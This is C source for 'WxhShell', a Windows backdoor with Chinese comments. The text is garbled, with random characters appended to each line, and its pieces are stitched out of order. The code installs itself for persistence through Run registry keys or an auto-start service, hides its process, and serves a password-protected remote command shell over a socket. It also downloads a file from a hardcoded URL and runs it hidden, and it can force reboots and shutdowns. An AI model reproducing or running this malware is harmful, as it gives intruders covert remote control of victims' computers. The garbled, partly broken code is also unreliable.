    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q)Qd+:a7{  
    else { jNKu5"HB  
    closesocket(wsh); Q\WH2CK  
    ExitThread(0); ~s#vP<QHa  
    } wR)U&da`@  
    break; tO0MYEx"  
    } A 9 I5  
  // 获取shell @'go?E)f  
  case 's': { i98>=y~  
    CmdShell(wsh); zcF`Z {&+  
    closesocket(wsh); 6[r-8_  
    ExitThread(0); (o+(YV^  
    break; Q-scL>IkCb  
  } $ {Y? jJ  
  // 退出 &NvvaqJ  
  case 'x': { dMo456L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A .]o&S}  
    CloseIt(wsh); : ,0F_["3  
    break; _!vxX ]  
    } R07 7eX  
  // 离开 O$<m(~[S  
  case 'q': { ]r]=Q"/5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2vb{PQ  
    closesocket(wsh); >_R,^iH"  
    WSACleanup(); ^T(v4'7  
    exit(1); t0^chlJP$  
    break; p6UPP|-S  
        } }vp pn=[Y  
  } ii< /!B(  
  } PVK. %y9  
wH?r522`c  
  // 提示信息 $K_G|Wyi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3>Ne_kY  
} h'Gs$o7#P  
  } c34s(>AC  
:Nry |  
  return; N*Is_V\R  
} hFLD2 <   
F 7v 1rf]  
// shell模块句柄 oP[R?zN  
int CmdShell(SOCKET sock) Y~FN` =O  
{ bl/tl_.p00  
STARTUPINFO si; ,{tz%\, %  
ZeroMemory(&si,sizeof(si)); #3fS_;G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6),U(e%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; puv/+!q  
PROCESS_INFORMATION ProcessInfo; =f{)!uW<4  
char cmdline[]="cmd"; vKX6@eg"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VLLE0W _]  
  return 0; d&N[\5q  
} p#k>BHgnF  
gb_r <j:w  
// 自身启动模式 @;^7kt  
int StartFromService(void) |.asg  
{ o@o0V  
typedef struct V_1'` F  
{ zO@7V>2  
  DWORD ExitStatus; .ty^k@J|]  
  DWORD PebBaseAddress; U};~ff+  
  DWORD AffinityMask; Mg7nv\6  
  DWORD BasePriority; F. N4Q'2Z  
  ULONG UniqueProcessId; ZvQ~K(3  
  ULONG InheritedFromUniqueProcessId; Iu3*`H  
}   PROCESS_BASIC_INFORMATION; Cob<N'.  
#b^x!lR  
PROCNTQSIP NtQueryInformationProcess; e!eUgD  
d]fo>[%Xr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ")gd)_FOS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GjHV|)^  
Qp]-:b  
  HANDLE             hProcess; .}xF2'~E/  
  PROCESS_BASIC_INFORMATION pbi; E%+aqA)f  
oU\Q|mN(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y2_^lW%  
  if(NULL == hInst ) return 0; :)~idVlV  
do-mkvk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oBBL7/L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f@G3,u!]i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <'Ppu  
:J 7p=sX  
  if (!NtQueryInformationProcess) return 0; ?PpGBm2f*  
Kuj*U'ed7t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $qvk9 B0E  
  if(!hProcess) return 0; CrTGC%w{=  
1u%e7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TB oN8cB}  
~|FKl%  
  CloseHandle(hProcess);  Uk2U:  
*5Mg^}ZC5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J)148/  
if(hProcess==NULL) return 0; JGLjx"Y  
JA")L0a_  
HMODULE hMod; #z( JYw,  
char procName[255]; Y{Yp N  
unsigned long cbNeeded; vX9B^W||x  
#]g9O?0$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &efwfnG<  
J2va Kl  
  CloseHandle(hProcess); ]j^V5y"  
2 c%*u {=:  
if(strstr(procName,"services")) return 1; // 以服务启动 $@VQ{S  
BGe&c,feIc  
  return 0; // 注册表启动 $<]G#&F   
} C>A*L4c]F  
JQ[~N-  
// 主模块 mbZS J  
int StartWxhshell(LPSTR lpCmdLine) RD$"ft]Vc  
{ /d1 B-I  
  SOCKET wsl; 65@,FDg*i  
BOOL val=TRUE; sF+mfoMtG  
  int port=0; >$%rsc}^  
  struct sockaddr_in door; >k\lE(  
&*w)/W  
  if(wscfg.ws_autoins) Install(); 7yp}*b{s  
e>GX]tK  
port=atoi(lpCmdLine); _&]B  
,hggmzA~  
if(port<=0) port=wscfg.ws_port; N~Kl{" >`  
SL j2/B0  
  WSADATA data; x|TLMu=3=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qh40nqS;9  
L_k'r\L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =Nc}XFq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Em(&cra  
  door.sin_family = AF_INET; L#\!0YW/@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0-N"_1k|?  
  door.sin_port = htons(port); ;:^^Qfp  
*8a8Ng  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H*h7Y*([  
closesocket(wsl); xDJs0P4  
return 1; SF 7p/gG  
} 2$Fy?08q  
RKt#2%FFO  
  if(listen(wsl,2) == INVALID_SOCKET) { 3T<aGW1  
closesocket(wsl); RV&=B%w+  
return 1; $_u9Y!  
} N'!:  
  Wxhshell(wsl); 9"#,X36  
  WSACleanup(); +O2z&a;q  
o'`:$ (  
return 0; ,rC$~ &  
BS6UXAf{|Z  
} IpRdGT02  
R _c! ,y  
// 以NT服务方式启动 NDmTxW#g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t/3t69\x  
{ YpGG^;M$  
DWORD   status = 0; SDW_Y^Tb  
  DWORD   specificError = 0xfffffff; 3~r>G  
{cYS0%Go  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zx(=ArCRr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9/@7NNKJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3=)!9;uY  
  serviceStatus.dwWin32ExitCode     = 0; {p70( ]v  
  serviceStatus.dwServiceSpecificExitCode = 0; G!^}z (Mgi  
  serviceStatus.dwCheckPoint       = 0; w7;,+Jq  
  serviceStatus.dwWaitHint       = 0; .o&Vu,/H  
l1EI4Y9KG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +ROwk  
  if (hServiceStatusHandle==0) return; YyF=u~l  
`u *:wJsv  
status = GetLastError(); 2,3pmb  
  if (status!=NO_ERROR) >@mvb@4*  
{ DO^K8~]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $?e_ l  
    serviceStatus.dwCheckPoint       = 0; +@ j@#~=K  
    serviceStatus.dwWaitHint       = 0; JF+E.-fy$  
    serviceStatus.dwWin32ExitCode     = status; y\xa<!:g  
    serviceStatus.dwServiceSpecificExitCode = specificError; v Mi&0$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qkLp8/G>pO  
    return; 6UXDIg=  
  } H/v|H}d;  
Ha}TdQ%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0+vt LDq@P  
  serviceStatus.dwCheckPoint       = 0; _tJm0z!  
  serviceStatus.dwWaitHint       = 0; -k+}w_<Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ul/Uk n$  
} a@ub%laL Z  
-D4"uoN.  
// 处理NT服务事件,比如:启动、停止 ;ye5HlH}.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [s"e?Qee  
{ 9?IvSv}z  
switch(fdwControl) %:DH _0  
{ sgc pH  
case SERVICE_CONTROL_STOP: E;m-^dxc  
  serviceStatus.dwWin32ExitCode = 0; Ow@ }6&1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OX  r%b  
  serviceStatus.dwCheckPoint   = 0; *?-,=%,z/  
  serviceStatus.dwWaitHint     = 0; k'(eQ5R3L  
  { i.(kX`~J1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -fB;pS,  
  } wUj#ACqB  
  return; J'=iEI  
case SERVICE_CONTROL_PAUSE: hA6D*8oXD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $r'PYGn  
  break; SFiK_;  
case SERVICE_CONTROL_CONTINUE: 8(b C.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KH~o0 W  
  break; 'Y%@fZf x  
case SERVICE_CONTROL_INTERROGATE: EJz?GM  
  break; T|L_ +(M{  
}; 9r efv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DMcH, _(  
} k-zkb2  
q9^6A90  
// 标准应用程序主函数 JJ+A+sfdk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $ncJc  
{ ptlcG9d-  
\D<w:\P  
// 获取操作系统版本 a  St  
OsIsNt=GetOsVer(); :|V`QM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T[<deQ  
PE\.JU  
  // 从命令行安装 ,ezC}V0M  
  if(strpbrk(lpCmdLine,"iI")) Install(); d`g)(*  
\a}_=O  
  // 下载执行文件 U =G}@Y  
if(wscfg.ws_downexe) { q5UD!& W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z^etH/]Sy  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'Wv`^{y <^  
} YWXY4*G  
AB1.l hR  
if(!OsIsNt) { *\M$pUS{  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ul`~d !3zH  
HideProc(); P#ro;3S3y  
StartWxhshell(lpCmdLine); qIC9L"I  
} WCpCWtmy  
else D J:N  
  if(StartFromService())  el"XD"*  
  // 以服务方式启动 Hx|<NS0}_  
  StartServiceCtrlDispatcher(DispatchTable); yltzf #%  
else F70_N($i  
  // 普通方式启动 l )m]<E X  
  StartWxhshell(lpCmdLine); $ OAak  
0Gr^#`  
return 0; "{lw;AA5F  
} VOY#Y*)g  
(=/%_jj  
}R\9y bv  
l?rT_uO4  
=========================================== dZ"B6L!^(  
nB+UxU@  
p#  4@  
'/[9Xwh9  
Shm$>\~=  
uHNh|ew21  
" [Up0<`Q{I_  
Z6F^p8O-  
#include <stdio.h> W bP wO  
#include <string.h> .R<Ke\y/  
#include <windows.h> R'Y=- yF  
#include <winsock2.h> u[>hs \3k  
#include <winsvc.h> ]-D&/88``  
#include <urlmon.h> 5YW.s   
YO3$I!(  
#pragma comment (lib, "Ws2_32.lib") @TWtM#  
#pragma comment (lib, "urlmon.lib") [Dv6z t>  
%{sL/H_  
#define MAX_USER   100 // 最大客户端连接数 jr=>L:  
#define BUF_SOCK   200 // sock buffer (oiF05n h  
#define KEY_BUFF   255 // 输入 buffer OSDx  
>,#7 3u#  
#define REBOOT     0   // 重启 ,];4+&|8kW  
#define SHUTDOWN   1   // 关机 F-g7*  
IdzrQP  
#define DEF_PORT   5000 // 监听端口 <.N33 7!  
Y2B ",v"  
#define REG_LEN     16   // 注册表键长度 M }H7`,@I  
#define SVC_LEN     80   // NT服务名长度 2!y%nkO*  
}p <p(  
// 从dll定义API +I9+L6>UR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i,h)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eLd7|*|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4YmN3i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R DAihq  
`"#0\Wh  
// wxhshell配置信息 zq?Iwyo  
struct WSCFG { ;Bs^+R7  
  int ws_port;         // 监听端口 NETji:d  
  char ws_passstr[REG_LEN]; // 口令 (K}Md~  
  int ws_autoins;       // 安装标记, 1=yes 0=no qOi3`6LCV  
  char ws_regname[REG_LEN]; // 注册表键名 4wa8Vw`  
  char ws_svcname[REG_LEN]; // 服务名 bktw?{h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Mb2rHUr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J(s%"d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 51Nh"JTy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SjZ?keKZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S(b5Gj/Kd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OG C|elSM  
|iJ+e -_R  
}; !8#!P  
5ZPe=SQ{  
// default Wxhshell configuration ;44?`[oP  
struct WSCFG wscfg={DEF_PORT, ,Z"l3~0\  
    "xuhuanlingzhe", 7LB#\2  
    1, eL7rX"!  
    "Wxhshell", UhX`BGpM{  
    "Wxhshell", ` s}v6  
            "WxhShell Service", R8ui LZd  
    "Wrsky Windows CmdShell Service", %L^S;v3  
    "Please Input Your Password: ", /JOEnQ5X\!  
  1, 5X'com?T  
  "http://www.wrsky.com/wxhshell.exe", 2qY+-yOEt  
  "Wxhshell.exe" S&rfMRP  
    }; 0aF&5Lk`y  
BWz7m9 T  
// 消息定义模块 IIW6;jS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1 ^k#g,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DJF-J#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BU|bo")  
char *msg_ws_ext="\n\rExit."; NVFgRJ&  
char *msg_ws_end="\n\rQuit."; <XfCQq/  
char *msg_ws_boot="\n\rReboot..."; 4*<27  
char *msg_ws_poff="\n\rShutdown..."; A^a9,T  
char *msg_ws_down="\n\rSave to "; B_B~Y8=3`  
xP1`FSO8=  
char *msg_ws_err="\n\rErr!"; #&hu-gMV  
char *msg_ws_ok="\n\rOK!"; ;zbF~5e  
F>F&+63Q-  
char ExeFile[MAX_PATH]; f17pwJ~=  
int nUser = 0; N8Mq0Ck{$  
HANDLE handles[MAX_USER]; %mda=%Yn  
int OsIsNt; x7s75  
$jDp ^ -  
SERVICE_STATUS       serviceStatus;  ?2g\y@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CDz-IQi  
n-cz xq%n  
// 函数声明 Xu1tN9:oE  
int Install(void); kdWk{ZT^  
int Uninstall(void); x{B%TM-Ey  
int DownloadFile(char *sURL, SOCKET wsh); ">? y\#O A  
int Boot(int flag); -9 AI@^q  
void HideProc(void); 0CYm%p8!  
int GetOsVer(void); ye9-%~sjX  
int Wxhshell(SOCKET wsl); $X%w9l e  
void TalkWithClient(void *cs); 415 95x:  
int CmdShell(SOCKET sock); Jk.Ec )w  
int StartFromService(void); xY/ S;dE  
int StartWxhshell(LPSTR lpCmdLine); U 9?!|h;7  
tcg sXB/t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }b#KV?xgW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FuYV}C  
R ks3L  
// 数据结构和表定义 h4xRRyK  
SERVICE_TABLE_ENTRY DispatchTable[] = C?FUc cI  
{ #eqy!QdePf  
{wscfg.ws_svcname, NTServiceMain}, k^pf)*p  
{NULL, NULL} =9oN#4mWK  
}; s -Mzl?o  
Dl3Df u8  
// 自我安装 ~6nq$(#  
int Install(void) ]i=\5FH e  
{ >Ic)RPO9  
  char svExeFile[MAX_PATH]; az(u=}  
  HKEY key; <%(nF+rQA"  
  strcpy(svExeFile,ExeFile); F:8cd^d~u  
+yq Z\$ii  
// 如果是win9x系统,修改注册表设为自启动 r+BPz%wM=O  
if(!OsIsNt) { & >AXB6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;b[% L&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ny;(1N|&3  
  RegCloseKey(key); &b 2Vt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (~r"N?`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o3hsPzOQx  
  RegCloseKey(key); B6gSt3w.  
  return 0; uC>X;<^   
    } 5]WpH0kzO  
  } _RFTm.9&  
} i0($@6Lh  
else { Z[baQO  
)w8h2=l  
// 如果是NT以上系统,安装为系统服务 ,H3~mq]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xj/ +Z!,9  
if (schSCManager!=0) nQc]f*  
{ m~fA=#l l  
  SC_HANDLE schService = CreateService 7P`|wNq  
  ( K h}Oiw  
  schSCManager, b7It8  
  wscfg.ws_svcname, Y5~_y?BX  
  wscfg.ws_svcdisp, n lsQf3  
  SERVICE_ALL_ACCESS, '3f"#fF6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]@W.5!5H  
  SERVICE_AUTO_START, hsVf/%  
  SERVICE_ERROR_NORMAL, g/b_\__A  
  svExeFile, @)>9l&  
  NULL, m<>3GF,5bP  
  NULL, 2 $^n@<uZ@  
  NULL, s%nx8"   
  NULL, 8_MR7'C1hi  
  NULL y>vr Uxgo  
  ); (u81p  
  if (schService!=0) Tp.0@aC  
  { r00 fvZyK  
  CloseServiceHandle(schService); S x';Cj-  
  CloseServiceHandle(schSCManager); "-Lbz)k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W9~vBU  
  strcat(svExeFile,wscfg.ws_svcname); Y"&&=M#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { swvn*xr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2*6b{}yJH  
  RegCloseKey(key); /jQW4eW0  
  return 0;  ZqQJFyV*  
    } I| qoHN,g  
  } dnVl;L8L3  
  CloseServiceHandle(schSCManager); !5Ko^:+Y  
} W8Z&J18AU  
} XV+s 5 C  
'~{^c}  
return 1; GZ# 6}/;b  
} gaaW:**y  
0^4uZeW?  
// 自我卸载 ZPWY0&9  
int Uninstall(void) ~^QL"p:5|  
{ >|L,9lR_b  
  HKEY key; oHkF>B [  
agqB#,i  
if(!OsIsNt) { XSkN9LqZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MP\$_;&xB  
  RegDeleteValue(key,wscfg.ws_regname); F#KO!\iA+  
  RegCloseKey(key); <N11$t&_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "q(#,,_  
  RegDeleteValue(key,wscfg.ws_regname); klduJ T >  
  RegCloseKey(key); SF2A?L?}+  
  return 0; q1sK:)Hu+  
  } .%7#o  
} . KJ EA #  
} r3oAP[+n  
else { Qi' ,[Xmf  
3A%/H`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `#&pB0.y  
if (schSCManager!=0) .7TQae%  
{ > $0eRVL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "ZDc$v:Qa  
  if (schService!=0) N.OC _H&  
  { wkK61a h6  
  if(DeleteService(schService)!=0) { 0[@ 9f1Nk4  
  CloseServiceHandle(schService); c#M 'Mye  
  CloseServiceHandle(schSCManager); (.,`<rXw  
  return 0; ps1ndGp~#  
  } B5>h@p-UV  
  CloseServiceHandle(schService); [$_d|Z  
  } D;.O#bS  
  CloseServiceHandle(schSCManager); V`$Jan  
} <>`+" O}  
} OJ ng  
pmd=3,D'u  
return 1; 6/@"K HHVe  
} ZcgSVMqEX  
@e#eAJhU  
// 从指定url下载文件 :SilQm*Pl  
int DownloadFile(char *sURL, SOCKET wsh) Ml)~%ZbF  
{ 'awL!P--  
  HRESULT hr; /w0l7N  
char seps[]= "/"; O;c;>x_dA  
char *token; Ym+k \h  
char *file; m RB-}  
char myURL[MAX_PATH]; @BWroNg{  
char myFILE[MAX_PATH]; 0lR/6CB  
!>T.*8  
strcpy(myURL,sURL); fyIL/7hzf4  
  token=strtok(myURL,seps); Xxcv 5.ug  
  while(token!=NULL) 3+_? /}<  
  { }R:eKj  
    file=token; ^& ZlV  
  token=strtok(NULL,seps); ab8uY.j  
  } *[jG^w0z8~  
]Ln2|$R  
GetCurrentDirectory(MAX_PATH,myFILE); y6ntGrZ}$  
strcat(myFILE, "\\"); ^OKCvdS  
strcat(myFILE, file); Szrr`.']  
  send(wsh,myFILE,strlen(myFILE),0); 8MgoAX,p  
send(wsh,"...",3,0); )tGeQXVhbJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u"r~5  
  if(hr==S_OK) pOQ'k>!  
return 0; |i'V\" hW  
else p_S8m|%  
return 1; MVU5+wX  
]5W0zNb*  
} AVyO5>w  
v;" [1w}  
// 系统电源模块 vt}+d StUm  
int Boot(int flag) 8qL*Nf  
{ dABmK;  
  HANDLE hToken; sh(G{Yz@  
  TOKEN_PRIVILEGES tkp; #?.Yc%5B  
yS0YWqv]6@  
  if(OsIsNt) { @O9.~6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); laN:H mR8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7UvfXzDNC  
    tkp.PrivilegeCount = 1; :RR<-N5+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UR6.zE4=_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @'`!2[2'?  
if(flag==REBOOT) { S'qEBz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YIo $  
  return 0; z><=F,W  
} =zBcfFii`w  
else { 6}"P m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !a?$  
  return 0; o@j]yA.5)  
} (3YCe{  
  } IFNs)*  
  else { T6MlKcw,t  
if(flag==REBOOT) { @sRRcP~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7?<.L  
  return 0; ?_q e 2R.  
} $}&Y$w>S  
else { ]2\|<.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _]8FCO  
  return 0; ;n_|t/=  
} ,2T&33m  
} tZmo= 3+:  
<a7y]Py  
return 1; \xG>>A%  
} 8 hx4N  
J'9hzag  
// win9x进程隐藏模块 g*69TqO^  
void HideProc(void) DdDO.@-Z  
{ j:K>3?   
eAN]*: ]g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s^+h>  
  if ( hKernel != NULL ) P F#+G;q;  
  { FWI<_KZ O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]s-;*o\H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x? 3U3\W  
    FreeLibrary(hKernel); W1S7%6y_1  
  } 8P5yaS_  
Rhh5r0 \5  
return; P3X;&iT  
} '<_nL8A^  
`%}SK~<R  
// 获取操作系统版本 i356m9j  
int GetOsVer(void) ;Z|X` <6g  
{ = TKu2  
  OSVERSIONINFO winfo; yq+'O&+   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bb}zn'xC  
  GetVersionEx(&winfo); 0zfh:O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ek!x:G$'  
  return 1; N9hs<b+N_  
  else 7l}P!xa&  
  return 0; P6'Oe|+'  
} Ik2y If5d  
;0DT f  
// 客户端句柄模块 3T^f#UT  
int Wxhshell(SOCKET wsl) -N;$L~`iAt  
{ l&l&e OE  
  SOCKET wsh; a@:(L"Or  
  struct sockaddr_in client; :VpRpj4f  
  DWORD myID; o1<Y#db[  
5v6 x  
  while(nUser<MAX_USER) HwTb753  
{ 5/Viz`hsz  
  int nSize=sizeof(client); g bDre~|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3lzjY.]Pgv  
  if(wsh==INVALID_SOCKET) return 1; CY~]lQ  
xl [3*K   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D/QSC]"  
if(handles[nUser]==0)  >d-By  
  closesocket(wsh); ("07t/||  
else R6l`IlG`  
  nUser++; ^R- -&{I  
  } 6'CZfs\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2F9Gx;}t5=  
~+w'b7T,=  
  return 0; D^qto{!  
} Sy|fX_i  
aphfzo  
// 关闭 socket )D'SfNx#{  
void CloseIt(SOCKET wsh) eV:I :::  
{ A|>~/OW=@  
closesocket(wsh); gDbj!(tm  
nUser--; r4&g~+ck  
ExitThread(0); pu#h:nb>88  
} | a001_Wv  
50r3Kl0  
// 客户端请求句柄 u#(VR]u\7  
void TalkWithClient(void *cs) {Q9?Q?  
{ 'J\nvNm  
Fy:CG6@X  
  SOCKET wsh=(SOCKET)cs; ]@E_Hx{S  
  char pwd[SVC_LEN]; mQEE?/xX;  
  char cmd[KEY_BUFF]; dr3j<D-Q  
char chr[1]; q.sErr[zc  
int i,j; tt5t(+5j  
y4sKe:@2  
  while (nUser < MAX_USER) { }-YM>q  
JSz;>  
if(wscfg.ws_passstr) { 7<FI[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [7x,&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #dy z  
  //ZeroMemory(pwd,KEY_BUFF); Mttt]]  
      i=0; 7A:k  
  while(i<SVC_LEN) { Do1 Ip&X  
.\Gl)W  
  // 设置超时 g7\MFertR^  
  fd_set FdRead; |v,%!p s  
  struct timeval TimeOut; 9N1Uv,OtB  
  FD_ZERO(&FdRead); {A!1s;  
  FD_SET(wsh,&FdRead); -u)f@e  
  TimeOut.tv_sec=8; =' %r"_`}  
  TimeOut.tv_usec=0; \j C[|LM&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); - Q3jK)1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >s0A.7,5  
+xoh=m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a)L\+$@*  
  pwd=chr[0]; Fuq MT`  
  if(chr[0]==0xd || chr[0]==0xa) { {qxFRi#\k  
  pwd=0; WX.6|  
  break; QuFzj`(  
  } akR+QZ,)  
  i++; ])`+ 78  
    } x=-dv8N?  
=NJ:%kvF  
  // 如果是非法用户,关闭 socket z!`aJE/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I*h%e,yIO  
} : jgvg$fd  
NsbC0xLd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2ed4xh V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R=Qa54  
nsf.wHGZ"J  
while(1) { 4pU|BL\j  
:+?eF^ 5  
  ZeroMemory(cmd,KEY_BUFF); m@(8-_  
|#OMrP+oi  
      // 自动支持客户端 telnet标准   sA^_I6>M"  
  j=0; j&6O 1  
  while(j<KEY_BUFF) { {7EnM1]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _6U=7<f  
  cmd[j]=chr[0]; vP k\b 3E  
  if(chr[0]==0xa || chr[0]==0xd) { {T;A50  
  cmd[j]=0; 5&Y%N(  
  break; D,$!.5OA  
  } j%w}hGW%,  
  j++; 6?B'3~ r  
    } K;uOtbdOK  
|[6jf!F  
  // 下载文件 M:[rH  
  if(strstr(cmd,"http://")) { }uZtAH|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [K5#4k  
  if(DownloadFile(cmd,wsh)) W^(:\IvV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FE'|wf  
  else .>X 0 $#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pt/UY<@yoN  
  } .( )rb y  
  else { " pZvV0'  
dSdP]50M  
    switch(cmd[0]) { dWR-}>  
  MKdS_&F;~  
  // 帮助 HACY  
  case '?': { p* '%<3ml  
